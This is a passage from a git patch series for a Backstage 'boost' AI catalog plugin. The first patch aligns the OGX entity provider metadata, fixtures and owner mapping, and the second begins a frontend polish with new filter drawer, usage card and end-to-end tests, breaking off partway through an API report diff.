From 2356829ee09987f2a287a56164223b254b3d1dcc Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Fri, 11 Sep 2026 20:40:22 +0530 Subject: [PATCH 01/16] feat(boost): align OGX provider and backend contracts Keep AI asset provenance, shared taxonomy, fixtures, and provider output consistent across the OGX entity provider and backend-facing packages. --- .../boost/.changeset/ogx-asset-contract.md | 7 +++++ workspaces/boost/app-config.yaml | 18 ++++++++++++- .../boost/fixtures/ai-catalog-fixtures.yaml | 27 +++++++++++++++++-- .../boost/plugins/boost-backend/report.api.md | 2 +- .../src/ai-catalog/CatalogAssetLoader.test.ts | 2 +- .../boost-common/src/aiAssetTaxonomy.test.ts | 12 +++++++++ .../boost-common/src/aiAssetTaxonomy.ts | 5 ++-- .../boost-entity-provider-sdk/report.api.md | 4 +-- .../plugins/ogx-entity-provider/src/module.ts | 1 + .../providers/OgxAgentEntityProvider.test.ts | 15 +++++++---- .../src/providers/OgxAgentEntityProvider.ts | 25 ++++------------- .../providers/OgxModelEntityProvider.test.ts | 4 +++ .../src/providers/OgxModelEntityProvider.ts | 7 +++-- .../src/providers/entityHelpers.test.ts | 4 +-- .../src/providers/entityHelpers.ts | 12 +++++---- 15 files changed, 99 insertions(+), 46 deletions(-) create mode 100644 workspaces/boost/.changeset/ogx-asset-contract.md diff --git a/workspaces/boost/.changeset/ogx-asset-contract.md b/workspaces/boost/.changeset/ogx-asset-contract.md new file mode 100644 index 00000000000..c0534789ddb --- /dev/null +++ b/workspaces/boost/.changeset/ogx-asset-contract.md @@ -0,0 +1,7 @@ +--- +'@red-hat-developer-hub/backstage-plugin-ogx-entity-provider': minor +'@red-hat-developer-hub/backstage-plugin-boost-common': patch +--- + +Align OGX AI asset entities with the canonical provider metadata contract and +harden shared AI asset type validation. diff --git a/workspaces/boost/app-config.yaml b/workspaces/boost/app-config.yaml index 9a2e29808e3..c18cdbd14a9 100644 --- a/workspaces/boost/app-config.yaml +++ b/workspaces/boost/app-config.yaml @@ -51,6 +51,7 @@ catalog: - Component - System - Group + - User - Resource - Location - Template @@ -61,7 +62,16 @@ catalog: - type: file target: ../../fixtures/ai-catalog-fixtures.yaml rules: - - allow: [AiResource, AiModelServerAPI, API, Component, Resource, Group] + - allow: + [ + AiResource, + AiModelServerAPI, + API, + Component, + Resource, + Group, + User, + ] boost: security: @@ -111,6 +121,7 @@ boost: - procurement model: ${BOOST_MODEL:-} lifecycleStage: published + createdBy: user:default/admin - id: legal name: Legal description: Handles questions about software licenses, embargoes, privacy/PII, contracts, policies, procedures, or compliance @@ -123,6 +134,7 @@ boost: enableRAG: true model: ${BOOST_MODEL:-} lifecycleStage: published + createdBy: user:default/admin - id: support name: Software Support description: Handles technical support questions about OpenShift/Kubernetes, deployment, permissions, performance, and FantaCo products @@ -135,6 +147,7 @@ boost: enableRAG: true model: ${BOOST_MODEL:-} lifecycleStage: published + createdBy: user:default/admin - id: hr name: Human Resources description: Handles questions about employee benefits, health care, vacation/PTO, retirement, workspaces, and compensation @@ -157,6 +170,7 @@ boost: enableRAG: true model: ${BOOST_MODEL:-} lifecycleStage: published + createdBy: user:default/admin - id: sales name: Sales description: Handles questions about sales territories, leads, discounting, quotas, CRM, and performance metrics @@ -183,6 +197,7 @@ boost: enableRAG: true model: ${BOOST_MODEL:-} lifecycleStage: published + createdBy: user:default/admin - id: procurement name: Procurement description: Handles questions about competitive bidding, vendor evaluation, procurement ethics, and approval processes @@ -207,6 +222,7 @@ boost: enableRAG: true model: ${BOOST_MODEL:-} lifecycleStage: published + createdBy: user:default/admin providers: ogx: diff --git a/workspaces/boost/fixtures/ai-catalog-fixtures.yaml b/workspaces/boost/fixtures/ai-catalog-fixtures.yaml index 12d104e3daf..9067b27f1a8 100644 --- a/workspaces/boost/fixtures/ai-catalog-fixtures.yaml +++ b/workspaces/boost/fixtures/ai-catalog-fixtures.yaml @@ -1,7 +1,22 @@ --- -# AI Catalog sample fixtures — one entity per AI asset category. -# Used by the dev app for local development and testing. +# AI Catalog sample fixtures — representative entities for local development. +# These examples focus on the entity types currently exercised by the dev app. +# --------------------------------------------------------------------------- +# User — referenced by the local OGX agent provider configuration +# --------------------------------------------------------------------------- +apiVersion: backstage.io/v1alpha1 +kind: User +metadata: + name: admin + title: Development Admin +spec: + profile: + displayName: Development Admin + email: admin@example.com + memberOf: [] + +--- # --------------------------------------------------------------------------- # Owner groups — referenced by AI asset entities below # --------------------------------------------------------------------------- @@ -169,7 +184,10 @@ spec: type: agent lifecycle: production owner: team-ai-platform + model: openai/vllm-inference/gpt-4.1 instructions: An AI agent that helps developers with code generation, debugging, architecture decisions, and documentation. + handoffDescription: Routes specialized questions to the appropriate team. + enableRAG: true location: type: git target: https://github.com/example/developer-assistant-agent @@ -192,14 +210,19 @@ metadata: rhdh.io/ai-asset-category: model-server rhdh.io/ai-asset-version: '3.0.0' rhdh.io/ai-asset-source: model-registry + links: + - title: API + url: https://granite.example.com/v1 spec: type: ai-model-server lifecycle: production owner: team-ml-ops serverType: openai-v1 serverUrl: https://granite.example.com/v1 + requiresApiKey: true models: discoverable: true available: - granite-3-code - granite-3-instruct + default: granite-3-instruct diff --git a/workspaces/boost/plugins/boost-backend/report.api.md b/workspaces/boost/plugins/boost-backend/report.api.md index d6230f6b30a..f2fbd9f06d0 100644 --- a/workspaces/boost/plugins/boost-backend/report.api.md +++ b/workspaces/boost/plugins/boost-backend/report.api.md @@ -201,9 +201,9 @@ export const boostConfigFields: { }; readonly 'boost.security.mode': { readonly schema: z.ZodEnum<{ + full: 'full'; 'development-only-no-auth': 'development-only-no-auth'; 'plugin-only': 'plugin-only'; - full: 'full'; }>; readonly configScope: ConfigScope; readonly description: string; diff --git a/workspaces/boost/plugins/boost-backend/src/ai-catalog/CatalogAssetLoader.test.ts b/workspaces/boost/plugins/boost-backend/src/ai-catalog/CatalogAssetLoader.test.ts index 7489eee2fae..3186d2bde2d 100644 --- a/workspaces/boost/plugins/boost-backend/src/ai-catalog/CatalogAssetLoader.test.ts +++ b/workspaces/boost/plugins/boost-backend/src/ai-catalog/CatalogAssetLoader.test.ts @@ -55,7 +55,7 @@ const graniteModel: Entity = { name: 'granite-model', description: 'IBM Granite foundation model', annotations: { - 'rhdh.io/ai-asset-category': 'ai-model-server', + 'rhdh.io/ai-asset-category': 'model-server', 'rhdh.io/ai-asset-source': 'watsonx', }, }, diff --git a/workspaces/boost/plugins/boost-common/src/aiAssetTaxonomy.test.ts b/workspaces/boost/plugins/boost-common/src/aiAssetTaxonomy.test.ts index 4cc0a84e9f7..8dd0378381c 100644 --- a/workspaces/boost/plugins/boost-common/src/aiAssetTaxonomy.test.ts +++ b/workspaces/boost/plugins/boost-common/src/aiAssetTaxonomy.test.ts @@ -55,6 +55,18 @@ describe('isAiAsset', () => { expect(isAiAsset(entity('AiResource', undefined))).toBe(false); }); + it.each([null, 42, { type: 'skill' }])( + 'returns false when spec.type is not a string (%p)', + specType => { + const malformedEntity = { + ...entity('AiResource'), + spec: { type: specType }, + } as Entity; + + expect(isAiAsset(malformedEntity)).toBe(false); + }, + ); + it('returns false for AiResource with unrecognized spec.type', () => { expect(isAiAsset(entity('AiResource', 'custom-unknown'))).toBe(false); }); diff --git a/workspaces/boost/plugins/boost-common/src/aiAssetTaxonomy.ts b/workspaces/boost/plugins/boost-common/src/aiAssetTaxonomy.ts index 40916a09aad..4c55bdc00c6 100644 --- a/workspaces/boost/plugins/boost-common/src/aiAssetTaxonomy.ts +++ b/workspaces/boost/plugins/boost-common/src/aiAssetTaxonomy.ts @@ -53,9 +53,8 @@ export const AI_ASSET_SPEC_TYPES: Record> = { */ export function isAiAsset(entity: Entity): boolean { const kind = entity.kind.toLocaleLowerCase('en-US'); - const specType = (entity.spec as Record | undefined) - ?.type as string | undefined; - if (!specType) { + const specType = (entity.spec as Record | undefined)?.type; + if (typeof specType !== 'string' || !specType) { return false; } const allowed = AI_ASSET_SPEC_TYPES[kind]; diff --git a/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md b/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md index b50035124f8..d48a225448b 100644 --- a/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md +++ b/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md @@ -196,13 +196,13 @@ export const SkillBundleMetadataSchema: z.ZodObject< version: string; description?: string | undefined; tags?: string[] | undefined; - author?: string | undefined; runtime?: | { language: string; dependencies?: Record | undefined; } | undefined; + author?: string | undefined; mcp?: | { servers: string[]; @@ -214,13 +214,13 @@ export const SkillBundleMetadataSchema: z.ZodObject< version: string; description?: string | undefined; tags?: string[] | undefined; - author?: string | undefined; runtime?: | { language: string; dependencies?: Record | undefined; } | undefined; + author?: string | undefined; mcp?: | { servers: string[]; diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/module.ts b/workspaces/boost/plugins/ogx-entity-provider/src/module.ts index 1faca862723..4fada1bf1d1 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/module.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/module.ts @@ -186,6 +186,7 @@ function readAgentConfigs( return agentConfigs.map(agentConfig => ({ id: agentConfig.getString('id'), name: agentConfig.getString('name'), + version: agentConfig.getOptionalString('version'), description: agentConfig.getOptionalString('description'), instructions: agentConfig.getOptionalString('instructions'), model: agentConfig.getOptionalString('model'), diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.test.ts b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.test.ts index ebc4d810448..db12adfa9ef 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.test.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.test.ts @@ -79,8 +79,10 @@ describe('OgxAgentEntityProvider', () => { { id: 'code-assistant', name: 'Code Assistant', + version: '1.2.3', description: 'Helps with code', model: 'meta-llama/Llama-3.1-8B-Instruct', + tools: ['resource:default/web-search-tool'], createdBy: 'user:default/admin', lifecycleStage: 'published', }, @@ -110,16 +112,19 @@ describe('OgxAgentEntityProvider', () => { expect(entity.spec.owner).toBe('user:default/admin'); expect(entity.spec.instructions).toBe('Helps with code'); expect(entity.metadata.title).toBe('Code Assistant'); - expect(entity.metadata.annotations['ai-catalog.rhdh.com/model']).toBe( - 'meta-llama/Llama-3.1-8B-Instruct', + expect(entity.metadata.annotations[AI_ASSET_VERSION_ANNOTATION]).toBe( + '1.2.3', ); + expect(entity.spec.model).toBe('meta-llama/Llama-3.1-8B-Instruct'); + expect(entity.spec.tools).toEqual(['resource:default/web-search-tool']); + expect( + entity.metadata.annotations['ai-catalog.rhdh.com/model'], + ).toBeUndefined(); expect(entity.metadata.annotations[AI_ASSET_CATEGORY_ANNOTATION]).toBe( 'agent', ); expect(entity.metadata.annotations[AI_ASSET_SOURCE_ANNOTATION]).toBe('ogx'); - expect(entity.metadata.annotations[AI_ASSET_VERSION_ANNOTATION]).toBe( - '0.0.0-unknown', - ); + expect(entity.metadata.labels).toBeUndefined(); }); it('should include all three required AI asset annotations', async () => { diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.ts b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.ts index e9113f588d6..204788fcc28 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxAgentEntityProvider.ts @@ -44,14 +44,6 @@ import { const PROVIDER_ID = 'ogx-agent-entity-provider'; -/** - * Annotation key for the ai-catalog lifecycle stage. - * - * @internal - */ -export const ANNOTATION_AI_CATALOG_LIFECYCLE_STAGE = - 'ai-catalog.rhdh.com/lifecycle-stage'; - /** * Entity provider that reads configured agents from YAML/admin config * and emits them as Backstage catalog entities with kind: AiResource, @@ -131,14 +123,6 @@ export class OgxAgentEntityProvider implements EntityProvider { ), }; - if (agent.lifecycleStage) { - annotations[ANNOTATION_AI_CATALOG_LIFECYCLE_STAGE] = agent.lifecycleStage; - } - - if (agent.model) { - annotations['ai-catalog.rhdh.com/model'] = agent.model; - } - // Build handoffs for agent-to-agent delegation targets const handoffs: string[] = []; if (agent.handoffs) { @@ -149,6 +133,8 @@ export class OgxAgentEntityProvider implements EntityProvider { } } + const owner = mapOwner(agent.createdBy); + return { apiVersion: 'backstage.io/v1alpha1', kind: 'AiResource', @@ -157,14 +143,13 @@ export class OgxAgentEntityProvider implements EntityProvider { title: agent.name, description: agent.description ?? `OGX agent: ${agent.name}`, annotations, - labels: { - 'ai-catalog.rhdh.com/provider': 'ogx', - }, }, spec: { type: 'agent', lifecycle: mapLifecycleStage(agent.lifecycleStage), - owner: mapOwner(agent.createdBy), + ...(owner && { owner }), + ...(agent.model && { model: agent.model }), + ...(agent.tools && agent.tools.length > 0 && { tools: agent.tools }), instructions: agent.instructions ?? agent.description ?? `OGX agent: ${agent.name}`, ...(handoffs.length > 0 && { handoffs }), diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.test.ts b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.test.ts index 886df54f5e0..11105077358 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.test.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.test.ts @@ -128,6 +128,9 @@ describe('OgxModelEntityProvider', () => { expect(entity.spec.lifecycle).toBe('production'); expect(entity.spec.serverType).toBe('openai-v1'); expect(entity.spec.serverUrl).toBe('http://localhost:8321'); + expect(entity.metadata.links).toEqual([ + { title: 'API', url: 'http://localhost:8321' }, + ]); expect(entity.spec.models.discoverable).toBe(true); expect(entity.spec.models.available).toEqual([ 'meta-llama/Llama-3.1-8B-Instruct', @@ -163,6 +166,7 @@ describe('OgxModelEntityProvider', () => { expect(entity.metadata.annotations[AI_ASSET_VERSION_ANNOTATION]).toBe( '2.1.0', ); + expect(entity.metadata.labels).toBeUndefined(); }); it('should normalize version when no serverVersion is configured', async () => { diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.ts b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.ts index 63a0431d7b9..93c45bde00a 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/providers/OgxModelEntityProvider.ts @@ -213,6 +213,7 @@ export class OgxModelEntityProvider implements EntityProvider { const entityName = sanitizeEntityName('ogx-model-server'); const modelNames = models.map(m => m.id); const firstOwner = models.find(m => m.owned_by)?.owned_by; + const owner = mapOwner(firstOwner); return { apiVersion: 'backstage.io/v1alpha1', @@ -221,6 +222,7 @@ export class OgxModelEntityProvider implements EntityProvider { name: entityName, title: 'OGX Model Server', description: `OGX model server at ${this.config.baseUrl} serving ${modelNames.length} models`, + links: [{ title: 'API', url: this.config.baseUrl }], annotations: { [ANNOTATION_LOCATION]: `${PROVIDER_ID}:${entityName}`, [ANNOTATION_ORIGIN_LOCATION]: `${PROVIDER_ID}:${entityName}`, @@ -231,14 +233,11 @@ export class OgxModelEntityProvider implements EntityProvider { { entityRef: `aimodelserverapi:default/${entityName}` }, ), }, - labels: { - 'ai-catalog.rhdh.com/provider': 'ogx', - }, }, spec: { type: 'ai-model-server', lifecycle: 'production', - owner: mapOwner(firstOwner), + ...(owner && { owner }), serverType: 'openai-v1', serverUrl: this.config.baseUrl, models: { diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.test.ts b/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.test.ts index ccae2d6065c..eab6df7eaee 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.test.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.test.ts @@ -89,8 +89,8 @@ describe('sanitizeEntityName', () => { }); describe('mapOwner', () => { - it('returns unknown for undefined input', () => { - expect(mapOwner(undefined)).toBe('unknown'); + it('returns undefined when no owner is provided', () => { + expect(mapOwner(undefined)).toBeUndefined(); }); it('wraps bare username as user:default/', () => { diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.ts b/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.ts index b24c7f32a2c..c92500099d1 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/providers/entityHelpers.ts @@ -55,14 +55,16 @@ export function sanitizeEntityName(name: string): string { } /** - * Maps createdBy user reference to a catalog owner ref. + * Maps a createdBy user reference to a catalog owner ref. + * + * Returns undefined when the source does not provide an owner. An + * unavailable owner should be omitted rather than represented by a fake + * entity reference such as "unknown". * * @internal */ -export function mapOwner(createdBy?: string): string { - if (!createdBy) { - return 'unknown'; - } +export function mapOwner(createdBy?: string): string | undefined { + if (!createdBy) return undefined; if (createdBy.includes(':') || createdBy.includes('/')) { return createdBy; } From cb5fbb9cac5bf44784d7e6393c270617039c5b04 Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Fri, 11 Sep 2026 20:40:32 +0530 Subject: [PATCH 02/16] feat(boost): finalize AI catalog frontend polish Improve responsive catalog browsing, entity details, usage guidance, source actions, accessibility coverage, and maintainability of the frontend experience. --- .../.changeset/ai-catalog-frontend-polish.md | 6 + .../e2e-tests/boost.AiCatalogPage.test.ts | 48 +- workspaces/boost/plugins/boost/report.api.md | 165 ++----- .../components/catalog/AiAssetCard.module.css | 15 +- .../components/catalog/AiAssetCard.test.tsx | 29 +- .../src/components/catalog/AiAssetCard.tsx | 74 +-- .../catalog/AiCatalogPage.module.css | 192 +++++++- .../components/catalog/AiCatalogPage.test.tsx | 10 + .../src/components/catalog/AiCatalogPage.tsx | 248 ++++++---- ...d.module.css => AiCatalogTable.module.css} | 17 +- .../catalog/AiCatalogTable.test.tsx | 10 + .../src/components/catalog/AiCatalogTable.tsx | 47 +- .../catalog/AssetTypeBadge.module.css | 22 + .../src/components/catalog/AssetTypeBadge.tsx | 40 ++ .../src/components/catalog/ErrorState.tsx | 2 +- .../catalog/FilterDrawer.module.css | 39 ++ .../components/catalog/FilterDrawer.test.tsx | 54 +++ .../src/components/catalog/FilterDrawer.tsx | 71 +++ .../catalog/FilterSidebar.module.css | 17 +- .../components/catalog/FilterSidebar.test.tsx | 38 +- .../src/components/catalog/FilterSidebar.tsx | 40 +- .../src/components/catalog/LoadingState.tsx | 32 +- .../catalog/entity/AdoptionCard.tsx | 90 ---- ...est.tsx => AgentInstructionsCard.test.tsx} | 54 ++- ...ListCard.tsx => AgentInstructionsCard.tsx} | 28 +- .../catalog/entity/AssetDetailsCard.test.tsx | 288 ++++++++++++ .../catalog/entity/AssetDetailsCard.tsx | 69 +++ .../catalog/entity/AssetTypeDetails.tsx | 376 +++++++++++++++ .../entity/AvailableModelsDialog.test.tsx | 44 ++ .../catalog/entity/AvailableModelsDialog.tsx | 105 +++++ .../catalog/entity/HandoffTargets.test.tsx | 101 ++++ .../catalog/entity/HandoffTargets.tsx | 66 +++ .../catalog/entity/SummaryCard.test.tsx | 133 ------ .../components/catalog/entity/SummaryCard.tsx | 127 ----- .../catalog/entity/UsageCard.module.css | 54 +++ ...optionCard.test.tsx => UsageCard.test.tsx} | 131 +++++- .../components/catalog/entity/UsageCard.tsx | 158 +++++++ .../catalog/entity/UsageTab.test.tsx | 271 ----------- .../components/catalog/entity/UsageTab.tsx | 106 ----- .../filters/builtInFilterDefinitions.test.ts | 14 +- .../src/filters/builtInFilterDefinitions.ts | 28 +- .../boost/src/hooks/useUrlFilters.test.ts | 111 ++++- .../plugins/boost/src/hooks/useUrlFilters.ts | 116 +++-- workspaces/boost/plugins/boost/src/plugin.tsx | 59 +-- .../plugins/boost/src/translations/ref.ts | 55 ++- .../boost/src/utils/categoryMeta.test.ts | 16 +- .../plugins/boost/src/utils/categoryMeta.ts | 7 - .../boost/src/utils/entityHelpers.test.ts | 440 ++++++------------ .../plugins/boost/src/utils/entityHelpers.ts | 260 ++++------- .../boost/src/utils/usageActions.test.ts | 352 ++++++++++++++ .../plugins/boost/src/utils/usageActions.ts | 174 +++++++ 51 files changed, 3362 insertions(+), 1687 deletions(-) create mode 100644 workspaces/boost/.changeset/ai-catalog-frontend-polish.md rename workspaces/boost/plugins/boost/src/components/catalog/{entity/AdoptionCard.module.css => AiCatalogTable.module.css} (73%) create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.module.css create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/AssetTypeBadge.tsx create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.module.css create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.test.tsx create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/FilterDrawer.tsx delete mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/AdoptionCard.tsx rename workspaces/boost/plugins/boost/src/components/catalog/entity/{VersionListCard.test.tsx => AgentInstructionsCard.test.tsx} (52%) rename workspaces/boost/plugins/boost/src/components/catalog/entity/{VersionListCard.tsx => AgentInstructionsCard.tsx} (59%) create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.tsx create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/AssetTypeDetails.tsx create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.test.tsx create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.tsx create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.test.tsx create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.tsx delete mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/SummaryCard.test.tsx delete mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/SummaryCard.tsx create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.module.css rename workspaces/boost/plugins/boost/src/components/catalog/entity/{AdoptionCard.test.tsx => UsageCard.test.tsx} (58%) create mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx delete mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/UsageTab.test.tsx delete mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/UsageTab.tsx create mode 100644 workspaces/boost/plugins/boost/src/utils/usageActions.test.ts create mode 100644 workspaces/boost/plugins/boost/src/utils/usageActions.ts diff --git a/workspaces/boost/.changeset/ai-catalog-frontend-polish.md b/workspaces/boost/.changeset/ai-catalog-frontend-polish.md new file mode 100644 index 00000000000..9dc0232446d --- /dev/null +++ b/workspaces/boost/.changeset/ai-catalog-frontend-polish.md @@ -0,0 +1,6 @@ +--- +'@red-hat-developer-hub/backstage-plugin-boost': minor +--- + +Polish responsive AI Catalog browsing and AI asset entity details with dynamic +filters, accessible view switching, usage guidance, and type-aware metadata. diff --git a/workspaces/boost/e2e-tests/boost.AiCatalogPage.test.ts b/workspaces/boost/e2e-tests/boost.AiCatalogPage.test.ts index e0599e7a91e..249ff090e69 100644 --- a/workspaces/boost/e2e-tests/boost.AiCatalogPage.test.ts +++ b/workspaces/boost/e2e-tests/boost.AiCatalogPage.test.ts @@ -171,10 +171,8 @@ test.describe('Boost AI Catalog', () => { }) => { await loadTwoAssetCatalog(page); - const filters = page.getByRole('navigation', { name: 'AI Catalog' }); - await filters - .getByRole('button', { name: 'Select an option Type' }) - .click(); + const filters = page.getByRole('navigation', { name: 'Filters' }); + await filters.getByRole('button', { name: 'All Type' }).click(); const typeListbox = page.getByRole('listbox', { name: 'Type' }); await expect(typeListbox).toBeVisible(); @@ -189,6 +187,15 @@ test.describe('Boost AI Catalog', () => { await expect( filters.getByRole('button', { name: 'Skills Type' }), ).toBeVisible(); + + await page.keyboard.press('Escape'); + await filters.getByRole('button', { name: 'Skills Type' }).click(); + await page + .getByRole('listbox', { name: 'Type' }) + .getByRole('option', { name: 'All', exact: true }) + .click(); + await expect.poll(() => queryParam(page, 'type')).toBeNull(); + await expect(catalogCount(page, 2)).toBeVisible(); }); test('search keeps only matching cards and sets q in the URL', async ({ @@ -202,6 +209,39 @@ test.describe('Boost AI Catalog', () => { await expect(catalogCount(page, 1)).toBeVisible(); await expect(skillDetailsLink(page)).toBeVisible(); await expect(agentDetailsLink(page)).toHaveCount(0); + + await page.getByRole('button', { name: 'Clear all' }).click(); + await expect.poll(() => queryParam(page, 'q')).toBeNull(); + await expect(catalogCount(page, 2)).toBeVisible(); + }); + + test('uses a mobile filter drawer on smaller screens', async ({ page }) => { + await page.setViewportSize({ width: 768, height: 900 }); + await loadTwoAssetCatalog(page); + + const filterButton = page.getByRole('button', { name: 'Filters' }); + await expect(filterButton).toBeVisible(); + await filterButton.click(); + + const dialog = page.getByRole('dialog', { name: 'Filters' }); + await expect(dialog).toBeVisible(); + await expect( + dialog.getByRole('navigation', { name: 'Filters' }), + ).toBeVisible(); + + await dialog.getByRole('button', { name: 'All Type' }).click(); + await page + .getByRole('listbox', { name: 'Type' }) + .getByRole('option', { name: 'Skills', exact: true }) + .click(); + await page.keyboard.press('Escape'); + + await expect.poll(() => queryParam(page, 'type')).toBe('skill'); + await expect(dialog).toBeVisible(); + + await dialog.getByRole('button', { name: 'Close' }).click(); + await expect(dialog).not.toBeVisible(); + await expect(filterButton).toBeFocused(); }); test('table view lists both assets in the data table and sets view=table', async ({ diff --git a/workspaces/boost/plugins/boost/report.api.md b/workspaces/boost/plugins/boost/report.api.md index d99859f5e59..35dd6e108e8 100644 --- a/workspaces/boost/plugins/boost/report.api.md +++ b/workspaces/boost/plugins/boost/report.api.md @@ -5,7 +5,7 @@ ```ts import { AnyRouteRefParams } from '@backstage/frontend-plugin-api'; import { ConfigurableExtensionDataRef } from '@backstage/frontend-plugin-api'; -import { Entity } from '@backstage/catalog-model'; +import type { Entity } from '@backstage/catalog-model'; import { EntityCardType } from '@backstage/plugin-catalog-react/alpha'; import { ExtensionBlueprint } from '@backstage/frontend-plugin-api'; import { ExtensionDataRef } from '@backstage/frontend-plugin-api'; @@ -14,10 +14,8 @@ import { FilterPredicate } from '@backstage/filter-predicates'; import { FrontendModule } from '@backstage/frontend-plugin-api'; import { IconElement } from '@backstage/frontend-plugin-api'; import { JSX as JSX_2 } from 'react'; -import { JSXElementConstructor } from 'react'; import { OverridableExtensionDefinition } from '@backstage/frontend-plugin-api'; import { OverridableFrontendPlugin } from '@backstage/frontend-plugin-api'; -import { ReactElement } from 'react'; import { RouteRef } from '@backstage/frontend-plugin-api'; import { TranslationRef } from '@backstage/frontend-plugin-api'; import { TranslationResource } from '@backstage/frontend-plugin-api'; @@ -152,9 +150,9 @@ const boostPlugin: OverridableFrontendPlugin< priority?: number; }; }>; - 'entity-card:boost/adoption': OverridableExtensionDefinition<{ + 'entity-card:boost/agent-instructions': OverridableExtensionDefinition<{ kind: 'entity-card'; - name: 'adoption'; + name: 'agent-instructions'; config: { filter: FilterPredicate | undefined; type: 'content' | 'info' | undefined; @@ -193,9 +191,9 @@ const boostPlugin: OverridableFrontendPlugin< type?: EntityCardType; }; }>; - 'entity-card:boost/summary': OverridableExtensionDefinition<{ + 'entity-card:boost/ai-asset-details': OverridableExtensionDefinition<{ kind: 'entity-card'; - name: 'summary'; + name: 'ai-asset-details'; config: { filter: FilterPredicate | undefined; type: 'content' | 'info' | undefined; @@ -234,9 +232,9 @@ const boostPlugin: OverridableFrontendPlugin< type?: EntityCardType; }; }>; - 'entity-card:boost/version-list': OverridableExtensionDefinition<{ + 'entity-card:boost/usage': OverridableExtensionDefinition<{ kind: 'entity-card'; - name: 'version-list'; + name: 'usage'; config: { filter: FilterPredicate | undefined; type: 'content' | 'info' | undefined; @@ -275,85 +273,6 @@ const boostPlugin: OverridableFrontendPlugin< type?: EntityCardType; }; }>; - 'entity-content:boost/usage': OverridableExtensionDefinition<{ - kind: 'entity-content'; - name: 'usage'; - config: { - path: string | undefined; - title: string | undefined; - filter: FilterPredicate | undefined; - group: string | false | undefined; - icon: string | undefined; - }; - configInput: { - path?: string | undefined; - title?: string | undefined; - filter?: FilterPredicate | undefined; - group?: string | false | undefined; - icon?: string | undefined; - }; - output: - | ExtensionDataRef - | ExtensionDataRef - | ExtensionDataRef< - RouteRef, - 'core.routing.ref', - { - optional: true; - } - > - | ExtensionDataRef< - (entity: Entity) => boolean, - 'catalog.entity-filter-function', - { - optional: true; - } - > - | ExtensionDataRef< - string, - 'catalog.entity-filter-expression', - { - optional: true; - } - > - | ExtensionDataRef - | ExtensionDataRef< - string, - 'catalog.entity-content-group', - { - optional: true; - } - > - | ExtensionDataRef< - string | ReactElement>, - 'catalog.entity-content-icon', - { - optional: true; - } - >; - inputs: {}; - params: { - defaultPath?: [Error: `Use the 'path' param instead`]; - path: string; - defaultTitle?: [Error: `Use the 'title' param instead`]; - title: string; - defaultGroup?: [Error: `Use the 'group' param instead`]; - group?: - | ( - | 'overview' - | 'documentation' - | 'development' - | 'deployment' - | 'operation' - | 'observability' - ) - | (string & {}); - icon?: string | ReactElement; - loader: () => Promise; - routeRef?: RouteRef; - filter?: string | FilterPredicate | ((entity: Entity) => boolean); - }; - }>; 'page:boost/ai-catalog': OverridableExtensionDefinition<{ config: { path: string | undefined; @@ -364,6 +283,7 @@ const boostPlugin: OverridableFrontendPlugin< title?: string | undefined | undefined; }; output: + | ExtensionDataRef | 